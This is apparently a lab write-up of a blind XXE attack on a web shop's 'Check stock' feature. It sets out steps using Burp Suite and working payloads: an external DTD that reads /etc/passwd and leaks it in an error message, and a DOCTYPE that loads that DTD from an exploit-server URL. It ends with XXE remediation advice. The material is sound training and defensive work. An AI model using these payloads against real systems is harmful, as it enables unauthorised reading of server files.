SCENARIO

The application has a "Check stock" feature that parses XML input but does not display the result. We will use an external DTD to trigger an error message that displays the contents of the **/etc/passwd** file.

**PROCEDURE**

1. Open the web application and visit any product page.
2. Send a Check Stock request and intercept the POST request in BurpSuite’s Proxy tab.
3. Go to the exploit server and inject the Payload 1 into the file name field and Payload 2 into the body field of the exploit.
4. In the Stock Check request try to study it and based on that we will craft an exploit accordingly and replace the XML data with our Payload 3 and send the request.
5. Replace the XML body of the request in BurpSuite’s Repeater with the Payload and send the request.
6. In the response we got the entire content of the desired file.

**PAYLOAD**

1. /exploit.dtd
2. <!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">

%eval;

%exfil;

1. <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0abc001c0301917081e1d95d01420023.exploit-server.net/exploit.dtd"> %xxe;]>

# REMEDIATION

1. **Disable External Entity Processing:** The first and foremost measure to prevent XXE attacks is to configure your XML parser to not process external entities. This can be accomplished through configuration settings specific to the library being used.
2. **Reject Unnecessary Document Types:** If your application does not need to process document types, ensure they're blocked.
3. **Update XML Parsers:** Many modern XML parsers are configured to be secure against XXE attacks by default. Ensure your XML libraries and parsers are always up-to-date.
4. **Use Less Complex Data Formats:** If XML isn’t strictly necessary, consider using simpler formats like JSON, which don't have the capability of defining entities.
5. **Whitelist Input:** Accept only known good input. If certain XML structures are expected, validate incoming XML against a schema (XSD).
6. **Implement Content Filtering:** If the application needs to accept XML input, ensure that you filter incoming XML documents to prevent any document type declarations.
7. **Use Dependency Checkers:** There are tools that will scan project dependencies for known vulnerabilities. If you're building a Java application, the OWASP Dependency-Check can identify libraries that have known XXE vulnerabilities.
8. **Error Handling:** Do not reveal the internal information in error messages. Avoid stack traces that leak path or file information, and ensure exceptions return generic error messages.
9. **Access Control:** Limit the privileges of the account that processes XML in case it's compromised. This will make it harder for an attacker to make the parser read critical system files.
10. **Network Restrictions:** Restrict outbound traffic from the server, especially on ports that are not necessary. This helps in reducing the impact of certain out-of-band XXE attacks.